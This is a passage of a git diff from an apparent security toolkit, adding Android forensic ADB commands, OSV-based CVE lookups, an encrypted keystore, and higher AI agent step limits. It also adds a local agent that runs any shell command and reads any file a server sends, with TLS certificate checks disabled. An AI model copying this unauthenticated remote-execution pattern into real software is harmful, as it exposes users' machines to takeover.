except Exception: + pass + acquisitions.append(entry) + return acquisitions + + def export_report(self, serial, acq_id): + """Load a saved acquisition report from disk.""" + report_path = self.ACQ_DATA_DIR / serial / acq_id / 'report.json' + if not report_path.exists(): + return {'ok': False, 'error': 'Report not found'} + try: + with open(report_path, encoding='utf-8') as f: + return {'ok': True, 'report': json.load(f), 'path': str(report_path)} + except Exception as e: + return {'ok': False, 'error': str(e)} + + # ── Direct (WebUSB) Mode ───────────────────────────────────────── + + def get_direct_commands(self, operation): + """Return ADB shell commands for browser-side WebUSB execution.""" + commands = { + 'packages': 'pm list packages -f', + 'packages_sys': 'pm list packages -s', + 'processes': 'ps -A', + 'getprop': 'getprop', + 'settings_global': 'settings list global', + 'settings_secure': 'settings list secure', + 'settings_system': 'settings list system', + 'services': 'service list', + 'logcat': 'logcat -d -t 1000', + 'tmp_files': 'ls -la /data/local/tmp/ 2>/dev/null', + 'tcp_connections': 'cat /proc/net/tcp 2>/dev/null', + } + if operation == 'full': + return commands + cmd = commands.get(operation) + return {operation: cmd} if cmd else {} + + def parse_direct_output(self, operation, raw_output): + """Parse raw ADB output returned from a WebUSB browser client.""" + if operation == 'packages': + packages = [] + for line in raw_output.splitlines(): + line = line.strip() + if not line.startswith('package:'): + continue + line = line[8:] + eq_pos = line.rfind('=') + if eq_pos == -1: + pkg_name, apk_path = line, '' + else: + apk_path, pkg_name = line[:eq_pos], line[eq_pos + 1:] + pkg_name = pkg_name.strip() + if pkg_name: + packages.append({'package': pkg_name, 'path': apk_path.strip(), 'system': False}) + return {'ok': True, 'packages': packages, 'total': len(packages)} + + elif operation == 'processes': + lines = [l for l in raw_output.splitlines() if l.strip()] + return {'ok': True, 'output': raw_output, 'count': max(0, len(lines) - 1)} + + elif operation == 'getprop': + props = {} + for line in raw_output.splitlines(): + m = re.match(r'\[(.+)\]:\s*\[(.*)\]\s*$', line) + if m: + props[m.group(1)] = m.group(2) + return {'ok': True, 'props': props, 'output': raw_output} + + else: + return {'ok': True, 'output': raw_output} diff --git a/core/autonomy.py b/core/autonomy.py index 5300c61..9ae6ed8 100644 --- a/core/autonomy.py +++ b/core/autonomy.py @@ -405,10 +405,18 @@ class AutonomyDaemon: return try: + # Read step limit from config based on the active LLM backend + from core.config import Config + cfg = Config() + backend = cfg.get('autarch', 'llm_backend', fallback='local') + step_key = f'{backend}_max_steps' + agent_settings = cfg.get_agent_settings() + max_steps = agent_settings.get(step_key, agent_settings.get('local_max_steps', 200)) + agent = Agent( llm=llm_inst, tools=get_tool_registry(), - max_steps=15, + max_steps=max_steps, verbose=False, ) result = agent.run(task) diff --git a/core/config.py b/core/config.py index 0ea20a4..9560f52 100644 --- a/core/config.py +++ b/core/config.py @@ -140,17 +140,17 @@ class Config: }, 'agents': { 'backend': 'local', - 'local_max_steps': '20', + 'local_max_steps': '200', 'local_verbose': 'true', 'claude_enabled': 'false', 'claude_model': 'claude-sonnet-4-6', 'claude_max_tokens': '16384', - 'claude_max_steps': '30', + 'claude_max_steps': '200', 'openai_enabled': 'false', 'openai_model': 'gpt-4o', 'openai_base_url': 'https://api.openai.com/v1', 'openai_max_tokens': '16384', - 'openai_max_steps': '30', + 'openai_max_steps': '200', }, 'hal_memory': { 'max_bytes': str(4 * 1024 * 1024 * 1024), # 4GB default @@ -539,17 +539,17 @@ class Config: """Get agent configuration settings.""" return { 'backend': self.get('agents', 'backend', 'local'), - 'local_max_steps': self.get_int('agents', 'local_max_steps', 20), + 'local_max_steps': self.get_int('agents', 'local_max_steps', 200), 'local_verbose': self.get_bool('agents', 'local_verbose', True), 'claude_enabled': self.get_bool('agents', 'claude_enabled', False), 'claude_model': self.get('agents', 'claude_model', 'claude-sonnet-4-6'), 'claude_max_tokens': self.get_int('agents', 'claude_max_tokens', 16384), - 'claude_max_steps': self.get_int('agents', 'claude_max_steps', 30), + 'claude_max_steps': self.get_int('agents', 'claude_max_steps', 200), 'openai_enabled': self.get_bool('agents', 'openai_enabled', False), 'openai_model': self.get('agents', 'openai_model', 'gpt-4o'), 'openai_base_url': self.get('agents', 'openai_base_url', 'https://api.openai.com/v1'), 'openai_max_tokens': self.get_int('agents', 'openai_max_tokens', 16384), - 'openai_max_steps': self.get_int('agents', 'openai_max_steps', 30), + 'openai_max_steps': self.get_int('agents', 'openai_max_steps', 200), } @staticmethod diff --git a/core/cve_db.py b/core/cve_db.py new file mode 100644 index 0000000..f9f776b --- /dev/null +++ b/core/cve_db.py @@ -0,0 +1,258 @@ +""" +Autarch CVE Database — CVE lookup for Android packages via OSV.dev. +by: SsSnake +""" + +import json +import os +import threading +import urllib.request +import urllib.error +from datetime import datetime, timezone +from pathlib import Path + +_db_instance = None +_db_lock = threading.Lock() + + +def get_cve_db(): + global _db_instance + if _db_instance is None: + with _db_lock: + if _db_instance is None: + _db_instance = CveDatabase() + return _db_instance + + +class CveDatabase: + """CVE lookup for Android packages. Uses OSV.dev as primary data source.""" + + DATA_DIR = Path(__file__).parent.parent / 'data' / 'ioc' / 'cve' + OSV_QUERY_URL = 'https://api.osv.dev/v1/query' + OSV_BATCH_URL = 'https://api.osv.dev/v1/querybatch' + + def __init__(self): + self.DATA_DIR.mkdir(parents=True, exist_ok=True) + self._cache = {} # package_name -> [vuln_dicts] + self._stats_cache = None + self._lock = threading.Lock() + self._last_query = None + + def get_cve_for_package(self, package_name, version=None) -> list: + """Query OSV.dev for CVEs affecting an Android package.""" + with self._lock: + if package_name in self._cache: + return self._cache[package_name] + + try: + body = { + "package": { + "name": package_name, + "ecosystem": "Android" + } + } + if version is not None: + body["version"] = version + + response = self._query_osv(body) + vulns = response.get("vulns", []) + + results = [] + for vuln in vulns: + parsed = self._parse_vuln(vuln, package_name) + results.append(parsed) + + with self._lock: + self._cache[package_name] = results + self._last_query = datetime.now(timezone.utc).isoformat() + + return results + except Exception: + return [] + + def get_cve_for_android_sdk(self, sdk_version) -> list: + """Query OSV.dev for CVEs affecting a specific Android SDK version.""" + package_name = f"android:{sdk_version}" + try: + body = { + "package": { + "name": package_name, + "ecosystem": "Android" + } + } + + response = self._query_osv(body) + vulns = response.get("vulns", []) + + results = [] + for vuln in vulns: + parsed = self._parse_vuln(vuln, package_name) + results.append(parsed) + + with self._lock: + self._cache[package_name] = results + self._last_query = datetime.now(timezone.utc).isoformat() + + return results + except Exception: + return [] + + def check_packages_batch(self, packages: list) -> dict: + """Query OSV.dev for CVEs affecting multiple Android packages at once.""" + if not packages: + return {} + + try: + results = {} + # Split into chunks of 50 + chunk_size = 50 + for i in range(0, len(packages), chunk_size): + chunk = packages[i:i + chunk_size] + queries = [ + {"package": {"name": p["name"], "ecosystem": "Android"}} + for p in chunk + ] + body = {"queries": queries} + + data = json.dumps(body).encode("utf-8") + req = urllib.request.Request( + self.OSV_BATCH_URL, + data=data, + headers={ + "Content-Type": "application/json", + "User-Agent": "Autarch/1.0" + }, + method="POST" + ) + + try: + with urllib.request.urlopen(req, timeout=10) as resp: + response = json.loads(resp.read().decode("utf-8")) + except Exception: + continue + + batch_results = response.get("results", []) + for idx, result in enumerate(batch_results): + if idx >= len(chunk): + break + pkg_name = chunk[idx]["name"] + vulns = result.get("vulns", []) + parsed_vulns = [self._parse_vuln(v, pkg_name) for v in vulns] + results[pkg_name] = parsed_vulns + + with self._lock: + self._cache[pkg_name] = parsed_vulns + + with self._lock: + if results: + self._last_query = datetime.now(timezone.utc).isoformat() + + return results + except Exception: + return {} + + def get_stats(self) -> dict: + """Return basic stats about the CVE database cache.""" + with self._lock: + return { + "total_cached": len(self._cache), + "last_query": self._last_query, + "data_dir": str(self.DATA_DIR) + } + + def _query_osv(self, body: dict) -> dict: + """POST a JSON body to the OSV.dev query endpoint. Returns parsed JSON or {}.""" + try: + data = json.dumps(body).encode("utf-8") + req = urllib.request.Request( + self.OSV_QUERY_URL, + data=data, + headers={ + "Content-Type": "application/json", + "User-Agent": "Autarch/1.0" + }, + method="POST" + ) + with urllib.request.urlopen(req, timeout=10) as resp: + return json.loads(resp.read().decode("utf-8")) + except Exception: + return {} + + def _parse_vuln(self, vuln: dict, package_name: str) -> dict: + """Extract standardised CVE fields from an OSV vulnerability object.""" + # cve_id: prefer alias starting with "CVE-", else use vuln id + cve_id = vuln.get("id", "UNKNOWN") + for alias in vuln.get("aliases", []): + if alias.startswith("CVE-"): + cve_id = alias + break + + # severity: try database_specific first, then severity array score, normalise + raw_severity = ( + vuln.get("database_specific", {}).get("severity") + or vuln.get("severity", [{}])[0].get("score", "UNKNOWN") + ) + severity = self._normalise_severity(raw_severity) + + # description: summary or details, capped at 500 chars + description = vuln.get("summary", vuln.get("details", ""))[:500] + + # patched_version: look for a "fixed" event in affected ranges + patched_version = "unknown" + affected_list = vuln.get("affected", [{}]) + if affected_list: + ranges = affected_list[0].get("ranges", []) + for r in ranges: + for event in r.get("events", []): + if "fixed" in event: + patched_version = event["fixed"] + break + if patched_version != "unknown": + break + + return { + "package": package_name, + "cve_id": cve_id, + "severity": severity, + "description": description, + "patched_version": patched_version, + "source": "osv.dev" + } + + def _normalise_severity(self, raw) -> str: + """Map a raw severity string or CVSS score to critical/high/medium/low.""" + if raw is None or raw == "UNKNOWN": + return "medium" + + raw_str = str(raw).strip().upper() + + # Direct label match + label_map = { + "CRITICAL": "critical", + "HIGH": "high", + "MEDIUM": "medium", + "MODERATE": "medium", + "LOW": "low", + "NONE": "low" + } + if raw_str in label_map: + return label_map[raw_str] + + # Try numeric CVSS score + try: + score = float(raw_str) + if score >= 9.0: + return "critical" + elif score >= 7.0: + return "high" + elif score >= 4.0: + return "medium" + else: + return "low" + except ValueError: + pass + + # CVSS vector strings often start with digits after the last colon + # e.g. "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" + # Fall back to medium if we can't parse it + return "medium" diff --git a/core/keystore.py b/core/keystore.py new file mode 100644 index 0000000..7129e52 --- /dev/null +++ b/core/keystore.py @@ -0,0 +1,259 @@ +""" +AUTARCH Encrypted Keystore +Per-user encrypted storage for API keys, passwords, and credentials. + +Stores secrets in keystore.xml in the user data directory using AES-256-CBC +encryption from the existing vault module. Secrets are separated by user +account so multi-user deployments don't leak across accounts. + +The keystore file format is XML for human-inspectability of the structure +(though all values are encrypted). Each entry has: + - A unique key name + - The encrypted value (base64-encoded) + - The user who owns it + - A timestamp + - An optional category (api_key, password, token, certificate, etc.) + +Usage: + from core.keystore import get_keystore + + ks = get_keystore() + + # Store a secret for the current user + ks.set('claude_api_key', 'sk-ant-...', category='api_key') + + # Retrieve it + key = ks.get('claude_api_key') # Returns '' if not set + + # List all keys for the current user + ks.keys() # ['claude_api_key', 'openai_api_key'] + + # Store for a specific user + ks.set('shodan_key', 'abc123', user='admin', category='api_key') + + # Delete + ks.delete('old_key') +""" + +import base64 +import hashlib +import json +import logging +import os +import time +import xml.etree.ElementTree as ET +from pathlib import Path +from typing import Dict, List, Optional +from xml.dom import minidom + +_log = logging.getLogger('autarch.keystore') + +# Import encryption functions from the existing vault +from core.vault import _derive_key, _encrypt, _decrypt + + +def _get_default_user() -> str: + """Get the current user identity for key ownership.""" + from core.paths import get_user_profile_path + profile_path = get_user_profile_path() + if profile_path.exists(): + try: + with open(profile_path) as f: + profile = json.load(f) + return profile.get('username', 'default') + except Exception: + pass + return 'default' + + +class Keystore: + """Encrypted per-user secrets keystore backed by XML.""" + + def __init__(self, keystore_path: Path = None, master_password: str = ''): + from core.paths import get_keystore_path + self._path = keystore_path or get_keystore_path() + self._master = master_password + self._salt = None + self._entries: Dict[str, Dict] = {} # key -> {value, user, category, timestamp, salt} + self._load() + + def _load(self): + """Load and decrypt the keystore from disk.""" + if not self._path.exists(): + _log.info(f'No keystore found at {self._path}, starting fresh') + return + + try: + tree = ET.parse(str(self._path)) + root = tree.getroot() + + self._salt = base64.b64decode(root.get('salt', '')) + + for entry in root.findall('entry'): + key_name = entry.get('name', '') + if not key_name: + continue + + self._entries[key_name] = { + 'encrypted_value': entry.get('value', ''), + 'user': entry.get('user', 'default'), + 'category': entry.get('category', ''), + 'timestamp': entry.get('timestamp', ''), + 'iv': entry.get('iv', ''), + } + + _log.info(f'Loaded keystore with {len(self._entries)} entries') + except Exception as e: + _log.error(f'Failed to load keystore: {e}') + + def _save(self): + """Encrypt and save the keystore to disk.""" + try: + root = ET.Element('keystore') + root.set('version', '1') + + if self._salt is None: + self._salt = os.urandom(32) + root.set('salt', base64.b64encode(self._salt).decode()) + root.set('updated', str(int(time.time()))) + + for key_name, data in sorted(self._entries.items()): + entry = ET.SubElement(root, 'entry') + entry.set('name', key_name) + entry.set('value', data.get('encrypted_value', '')) + entry.set('iv', data.get('iv', '')) + entry.set('user', data.get('user', 'default')) + entry.set('category', data.get('category', '')) + entry.set('timestamp', data.get('timestamp', '')) + + # Pretty-print the XML + rough = ET.tostring(root, encoding='unicode') + parsed = minidom.parseString(rough) + pretty = parsed.toprettyxml(indent=' ', encoding='utf-8') + + self._path.parent.mkdir(parents=True, exist_ok=True) + with open(self._path, 'wb') as f: + f.write(pretty) + + _log.info(f'Saved keystore with {len(self._entries)} entries') + except Exception as e: + _log.error(f'Failed to save keystore: {e}') + + def set(self, key: str, value: str, user: str = None, category: str = ''): + """Store an encrypted secret.""" + if user is None: + user = _get_default_user() + + if self._salt is None: + self._salt = os.urandom(32) + + # Derive encryption key from salt + master password + enc_key = _derive_key(self._salt, self._master) + + # Encrypt the value + iv, ciphertext = _encrypt(value.encode('utf-8'), enc_key) + + self._entries[key] = { + 'encrypted_value': base64.b64encode(ciphertext).decode(), + 'iv': base64.b64encode(iv).decode(), + 'user': user, + 'category': category, + 'timestamp': str(int(time.time())), + } + + self._save() + _log.info(f'Stored secret: {key} (user={user}, category={category})') + + def get(self, key: str, user: str = None) -> str: + """Retrieve a decrypted secret. Returns '' if not found.""" + if user is None: + user = _get_default_user() + + entry = self._entries.get(key) + if not entry: + return '' + + # Check user ownership + if entry['user'] != user and entry['user'] != 'shared': + _log.warning(f'Access denied: {key} belongs to {entry["user"]}, not {user}') + return '' + + try: + enc_key = _derive_key(self._salt, self._master) + iv = base64.b64decode(entry['iv']) + ciphertext = base64.b64decode(entry['encrypted_value']) + plaintext = _decrypt(iv, ciphertext, enc_key) + return plaintext.decode('utf-8') + except Exception as e: + _log.error(f'Failed to decrypt {key}: {e}') + return '' + + def delete(self, key: str, user: str = None): + """Delete a secret.""" + if user is None: + user = _get_default_user() + + entry = self._entries.get(key) + if entry and (entry['user'] == user or entry['user'] == 'shared'): + del self._entries[key] + self._save() + _log.info(f'Deleted secret: {key}') + + def keys(self, user: str = None, category: str = None) -> List[str]: + """List key names for a user, optionally filtered by category.""" + if user is None: + user = _get_default_user() + + result = [] + for key, data in self._entries.items(): + if data['user'] != user and data['user'] != 'shared': + continue + if category and data.get('category', '') != category: + continue + result.append(key) + return sorted(result) + + def get_all_for_user(self, user: str = None) -> Dict[str, str]: + """Get all decrypted secrets for a user as a dict.""" + if user is None: + user = _get_default_user() + return {k: self.get(k, user) for k in self.keys(user)} + + def get_metadata(self, key: str) -> Optional[Dict]: + """Get metadata (user, category, timestamp) for a key without decrypting.""" + entry = self._entries.get(key) + if not entry: + return None + return { + 'user': entry['user'], + 'category': entry.get('category', ''), + 'timestamp': entry.get('timestamp', ''), + } + + def migrate_from_vault(self): + """Import secrets from the old vault.enc into the new keystore.""" + from core.vault import get_vault + vault = get_vault() + migrated = 0 + for key in vault.keys(): + value = vault.get(key) + if value and key not in self._entries: + # Guess category from key name + category = 'api_key' if 'api_key' in key else 'credential' + self.set(key, value, user='default', category=category) + migrated += 1 + if migrated: + _log.info(f'Migrated {migrated} secrets from vault to keystore') + return migrated + + +# Singleton +_keystore_instance: Optional[Keystore] = None + + +def get_keystore(master_password: str = '') -> Keystore: + """Get the global keystore instance.""" + global _keystore_instance + if _keystore_instance is None: + _keystore_instance = Keystore(master_password=master_password) + return _keystore_instance diff --git a/core/local_agent.py b/core/local_agent.py new file mode 100644 index 0000000..397201e --- /dev/null +++ b/core/local_agent.py @@ -0,0 +1,280 @@ +""" +AUTARCH Local Agent +Lightweight client that runs on the user's machine and executes +commands locally, streaming results back to the AUTARCH server. + +This makes the web UI feel like AUTARCH is running on the user's +machine — scans, tool output, file operations all happen locally. + +Usage: + python3 autarch-agent.py --server https://10.0.0.1:8181 + +The agent: + 1. Connects to the AUTARCH server via WebSocket + 2. Authenticates with the user's token + 3. Receives command requests from the server + 4. Executes them locally (subprocess) + 5. Streams stdout/stderr back in real-time + 6. Reports system info (OS, arch, hostname, IP) on connect + +Protocol: + Server -> Agent: {"type": "exec", "id": "xxx", "command": "nmap -sV 10.0.0.1"} + Agent -> Server: {"type": "output", "id": "xxx", "stream": "stdout", "data": "..."} + Agent -> Server: {"type": "output", "id": "xxx", "stream": "stderr", "data": "..."} + Agent -> Server: {"type": "done", "id": "xxx", "exit_code": 0} + Agent -> Server: {"type": "sysinfo", "hostname": "...", "os": "...", ...} +""" + +import argparse +import asyncio +import json +import os +import platform +import shutil +import socket +import subprocess +import ssl +import sys +import time +from pathlib import Path + +try: + import websockets +except ImportError: + print("Installing websockets...") + subprocess.check_call([sys.executable, "-m", "pip", "install", "websockets", "-q"]) + import websockets + + +def get_system_info(): + """Collect local system information to send on connect.""" + info = { + "hostname": socket.gethostname(), + "os": platform.system(), + "os_version": platform.version(), + "arch": platform.machine(), + "python": platform.python_version(), + "username": os.getenv("USER", os.getenv("USERNAME", "unknown")), + "home": str(Path.home()), + "cwd": os.getcwd(), + "pid": os.getpid(), + } + + # Network interfaces + try: + info["ip"] = socket.gethostbyname(socket.gethostname()) + except Exception: + info["ip"] = "unknown" + + # Available tools + tools = {} + for tool in ["nmap", "tcpdump", "wireshark", "python3", "git", "curl", + "wget", "ssh", "netstat", "ss", "ip", "ifconfig", "arp", + "dig", "nslookup", "traceroute", "ping", "whois", + "openssl", "nikto", "sqlmap", "hydra", "john", "hashcat"]: + path = shutil.which(tool) + if path: + tools[tool] = path + info["tools"] = tools + + # Disk usage + try: + usage = shutil.disk_usage("/") + info["disk_total"] = usage.total + info["disk_free"] = usage.free + except Exception: + pass + + return info + + +async def execute_command(command, cmd_id, websocket): + """Execute a command locally and stream output back.""" + try: + process = await asyncio.create_subprocess_shell( + command, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + ) + + # Stream stdout + async def read_stream(stream, name): + while True: + line = await stream.readline() + if not line: + break + await websocket.send(json.dumps({ + "type": "output", + "id": cmd_id, + "stream": name, + "data": line.decode("utf-8", errors="replace"), + })) + + # Run both streams concurrently + await asyncio.gather( + read_stream(process.stdout, "stdout"), + read_stream(process.stderr, "stderr"), + ) + + exit_code = await process.wait() + + await websocket.send(json.dumps({ + "type": "done", + "id": cmd_id, + "exit_code": exit_code, + })) + + except Exception as e: + await websocket.send(json.dumps({ + "type": "error", + "id": cmd_id, + "message": str(e), + })) + + +async def read_file(path, cmd_id, websocket): + """Read a file and send its contents back.""" + try: + p = Path(path).expanduser() + if not p.exists(): + await websocket.send(json.dumps({ + "type": "error", "id": cmd_id, + "message": f"File not found: {path}" + })) + return + + if p.is_dir(): + # List directory + entries = [] + for entry in sorted(p.iterdir()): + stat = entry.stat() + entries.append({ + "name": entry.name, + "is_dir": entry.is_dir(), + "size": stat.st_size, + "modified": stat.st_mtime, + }) + await websocket.send(json.dumps({ + "type": "dirlist", "id": cmd_id, + "path": str(p), "entries": entries, + })) + else: + # Read file (limit to 10MB) + size = p.stat().st_size + if size > 10 * 1024 * 1024: + await websocket.send(json.dumps({ + "type": "error", "id": cmd_id, + "message": f"File too large: {size} bytes" + })) + return + + content = p.read_text(encoding="utf-8", errors="replace") + await websocket.send(json.dumps({ + "type": "file", "id": cmd_id, + "path": str(p), "content": content, + "size": size, + })) + + except Exception as e: + await websocket.send(json.dumps({ + "type": "error", "id": cmd_id, + "message": str(e), + })) + + +async def agent_loop(server_url, token): + """Main agent loop - connect to server and process commands.""" + # Allow self-signed certs + ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) + ssl_context.check_hostname = False + ssl_context.verify_mode = ssl.CERT_NONE + + ws_url = server_url.replace("https://", "wss://").replace("http://", "ws://") + ws_url = f"{ws_url}/ws/agent" + + print(f"Connecting to {ws_url}...") + + while True: + try: + async with websockets.connect(ws_url, ssl=ssl_context, + extra_headers={"Authorization": f"Bearer {token}"}) as ws: + print("Connected to AUTARCH server") + + # Send system info on connect + sysinfo = get_system_info() + sysinfo["type"] = "sysinfo" + await ws.send(json.dumps(sysinfo)) + + # Send heartbeat periodically + async def heartbeat(): + while True: + await asyncio.sleep(30) + try: + await ws.send(json.dumps({"type": "heartbeat", "time": time.time()})) + except Exception: + break + + heartbeat_task = asyncio.create_task(heartbeat()) + + # Process commands + try: + async for message in ws: + try: + msg = json.loads(message) + msg_type = msg.get("type", "") + cmd_id = msg.get("id", "") + + if msg_type == "exec": + command = msg.get("command", "") + if command: + print(f" Executing: {command[:80]}") + asyncio.create_task(execute_command(command, cmd_id, ws)) + + elif msg_type == "read": + path = msg.get("path", "") + if path: + asyncio.create_task(read_file(path, cmd_id, ws)) + + elif msg_type == "ping": + await ws.send(json.dumps({"type": "pong", "id": cmd_id})) + + elif msg_type == "kill": + # Server wants us to disconnect + print("Server requested disconnect") + break + + except json.JSONDecodeError: + pass + + finally: + heartbeat_task.cancel() + + except (websockets.exceptions.ConnectionClosed, + ConnectionRefusedError, OSError) as e: + print(f"Connection lost: {e}. Reconnecting in 5s...") + await asyncio.sleep(5) + + except KeyboardInterrupt: + print("\nAgent stopped") + break + + +def main(): + parser = argparse.ArgumentParser(description="AUTARCH Local Agent") + parser.add_argument("--server", "-s", required=True, + help="AUTARCH server URL (e.g. https://10.0.0.1:8181)") + parser.add_argument("--token", "-t", default="", + help="Authentication token") + args = parser.parse_args() + + print("AUTARCH Local Agent") + print(f"Server: {args.server}") + print(f"System: {platform.system()} {platform.machine()}") + print(f"Host: {socket.gethostname()}") + print() + + asyncio.run(agent_loop(args.server, args.token)) + + +if __name__ == "__main__": + main() diff --git a/core/paths.py b/core/paths.py index c3f5b2a..878d540 100644 --- a/core/paths.py +++ b/core/paths.py @@ -76,6 +76,49 @@ def get_data_dir() -> Path: return d +def get_user_data_dir() -> Path: + """Return the platform-specific user data directory. + Created as a hidden folder on first call. + + Windows: %APPDATA%/Autarch/ + Linux: ~/.autarch/ + macOS: ~/Library/Application Support/Autarch/ + """ + system = platform.system() + if system == 'Windows': + base = os.environ.get('APPDATA', '') + if base: + d = Path(base) / 'Autarch' + else: + d = Path.home() / 'AppData' / 'Roaming' / 'Autarch' + elif system == 'Darwin': + d = Path.home() / 'Library' / 'Application Support' / 'Autarch' + else: + # Linux and others - hidden dotfolder in home + d = Path.home() / '.autarch' + + d.mkdir(parents=True, exist_ok=True) + return d + + +def get_keystore_path() -> Path: + """Return the path to the encrypted keystore file. + Stored in the user data directory, separate from the app install.""" + return get_user_data_dir() / 'keystore.xml' + + +def get_user_profile_path() -> Path: + """Return the path to the user profile file.""" + return get_user_data_dir() / 'profile.json' + + +def get_user_sessions_dir() -> Path: + """Return the directory for user session data (chat history, agent memory).""" + d = get_user_data_dir() / 'sessions' + d.mkdir(parents=True, exist_ok=True) + return d + + def get_config_path() -> Path: """Return config path. Writable copy lives next to the exe; falls back to the bundled default if the writable copy doesn't exist yet.""" diff --git a/core/sites_db.py b/core/sites_db.py index 293a806..1db20af 100644 --- a/core/sites_db.py +++ b/core/sites_db.py @@ -49,6 +49,12 @@ class SitesDatabase: self._conn = None self._lock = threading.Lock() + # Ensure the schema exists, then seed from the master dh.json the first + # time (or whenever the cache is empty). dh.json is the source of truth; + # dh_sites.db is a fast local query cache rebuilt from it automatically. + self._ensure_schema() + self._auto_populate() + def _get_connection(self) -> sqlite3.Connection: """Get thread-safe database connection.""" if self._conn is None: @@ -56,6 +62,48 @@ class SitesDatabase: self._conn.row_factory = sqlite3.Row return self._conn + def _ensure_schema(self) -> None: + """Create the sites table and indexes if they don't already exist.""" + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + cursor.execute(""" + CREATE TABLE IF NOT EXISTS sites ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + name TEXT NOT NULL UNIQUE, + url_template TEXT NOT NULL, + category TEXT DEFAULT 'other', + source TEXT DEFAULT 'dh', + nsfw INTEGER DEFAULT 0, + enabled INTEGER DEFAULT 1, + error_type TEXT, + error_code INTEGER, + error_string TEXT, + match_code INTEGER, + match_string TEXT + ) + """) + cursor.execute("CREATE INDEX IF NOT EXISTS idx_sites_category ON sites(category)") + cursor.execute("CREATE INDEX IF NOT EXISTS idx_sites_source ON sites(source)") + cursor.execute("CREATE INDEX IF NOT EXISTS idx_sites_enabled ON sites(enabled)") + cursor.execute("CREATE INDEX IF NOT EXISTS idx_sites_nsfw ON sites(nsfw)") + conn.commit() + + def _auto_populate(self) -> None: + """Seed the cache from the master dh.json when the sites table is empty.""" + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + cursor.execute("SELECT COUNT(*) FROM sites") + count = cursor.fetchone()[0] + + if count > 0: + return + + json_path = self.data_dir / "dh.json" + if json_path.exists(): + self.load_from_json(json_path) + def get_stats(self) -> Dict[str, Any]: """Get database statistics.""" with self._lock: @@ -390,6 +438,142 @@ class SitesDatabase: except Exception: return False + def add_sites_bulk(self, sites: List[Dict], overwrite: bool = False) -> Dict[str, int]: + """Bulk-insert sites in a single transaction. + + By default only sites with a NOT-yet-seen name are added; existing + names are left untouched (INSERT OR IGNORE). Pass overwrite=True to + replace existing rows instead. + + Args: + sites: List of site dicts. Recognised keys: name, url_template + (or url), category, source, nsfw, enabled, error_type, + error_code, error_string, match_code, match_string. + overwrite: Replace existing rows sharing the same name. + + Returns: + Stats dict: {'total', 'added', 'skipped', 'errors'}. + """ + stats = {'total': len(sites), 'added': 0, 'skipped': 0, 'errors': 0} + verb = "INSERT OR REPLACE" if overwrite else "INSERT OR IGNORE" + + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + for site in sites: + name = site.get('name') + url = site.get('url_template') or site.get('url') + if not name or not url: + stats['errors'] += 1 + continue + + try: + cursor.execute(f""" + {verb} INTO sites + (name, url_template, category, source, nsfw, enabled, + error_type, error_code, error_string, match_code, match_string) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) + """, ( + name, + url, + site.get('category', 'other'), + site.get('source', 'custom'), + 1 if site.get('nsfw') else 0, + 0 if site.get('enabled', 1) in (0, False) else 1, + site.get('error_type'), + site.get('error_code'), + site.get('error_string'), + site.get('match_code'), + site.get('match_string'), + )) + if cursor.rowcount > 0: + stats['added'] += 1 + else: + stats['skipped'] += 1 + except Exception: + stats['errors'] += 1 + + conn.commit() + + return stats + + @staticmethod + def _normalize_url(url: str) -> str: + """Normalise a URL template for duplicate detection. + + Strips scheme, leading www., case, and trailing slash so that + http/https, www/non-www and case variants of the same profile URL + collapse to one key. + """ + if not url: + return '' + u = url.strip().lower() + for scheme in ('https://', 'http://'): + if u.startswith(scheme): + u = u[len(scheme):] + break + if u.startswith('www.'): + u = u[4:] + return u.rstrip('/') + + def deduplicate(self) -> Dict[str, int]: + """Remove duplicate sites that share the same (normalised) URL template. + + Names are already unique via the schema constraint; this collapses rows + whose URL templates point at the same profile page. For each duplicate + group the best row is kept (prefer enabled, then having a detection + pattern, then the oldest/lowest id) and the rest are deleted. + + Returns: + Stats dict: {'duplicate_groups', 'removed', 'remaining'}. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + cursor.execute( + "SELECT id, url_template, error_type, error_string, match_string, enabled FROM sites" + ) + rows = cursor.fetchall() + + groups: Dict[str, list] = {} + for r in rows: + key = self._normalize_url(r['url_template']) + if not key: + continue + groups.setdefault(key, []).append(r) + + def score(r): + has_detection = bool(r['error_string'] or r['match_string'] or r['error_type']) + # Higher tuple wins; -id keeps the lowest (oldest) id. + return (1 if r['enabled'] else 0, 1 if has_detection else 0, -r['id']) + + to_delete = [] + dup_groups = 0 + for members in groups.values(): + if len(members) < 2: + continue + dup_groups += 1 + members_sorted = sorted(members, key=score, reverse=True) + to_delete.extend(r['id'] for r in members_sorted[1:]) + + for i in range(0, len(to_delete), 500): + chunk = to_delete[i:i + 500] + placeholders = ','.join('?' * len(chunk)) + cursor.execute(f"DELETE FROM sites WHERE id IN ({placeholders})", chunk) + + conn.commit() + + cursor.execute("SELECT COUNT(*) FROM sites") + remaining = cursor.fetchone()[0] + + return { + 'duplicate_groups': dup_groups, + 'removed': len(to_delete), + 'remaining': remaining, + } + def update_detection( self, name: str, diff --git a/core/user_profile.py b/core/user_profile.py new file mode 100644 index 0000000..6fe0ada --- /dev/null +++ b/core/user_profile.py @@ -0,0 +1,159 @@ +""" +AUTARCH User Profile Manager +Handles user identity, preferences, and session management. + +On first launch, creates a default profile in the user data directory. +Supports multiple users for shared deployments. + +The profile stores non-sensitive user info (username, display name, role, etc.) +Sensitive data (API keys, passwords) goes in the keystore. +""" + +import json +import logging +import os +import time +from pathlib import Path +from typing import Dict, Optional + +_log = logging.getLogger('autarch.user_profile') + + +class UserProfile: + """User profile and preferences.""" + + def __init__(self, profile_path: Path = None): + from core.paths import get_user_profile_path + self._path = profile_path or get_user_profile_path() + self._data: Dict = {} + self._load() + + def _load(self): + """Load profile from disk, or create default.""" + if self._path.exists(): + try: + with open(self._path) as f: + self._data = json.load(f) + _log.info(f'Loaded profile for {self._data.get("username", "unknown")}') + return + except Exception as e: + _log.error(f'Failed to load profile: {e}') + + # Create default profile + self._data = self._create_default() + self._save() + _log.info('Created default user profile') + + def _create_default(self) -> Dict: + """Create the default user profile.""" + username = os.getenv('USER', os.getenv('USERNAME', 'operator')) + return { + 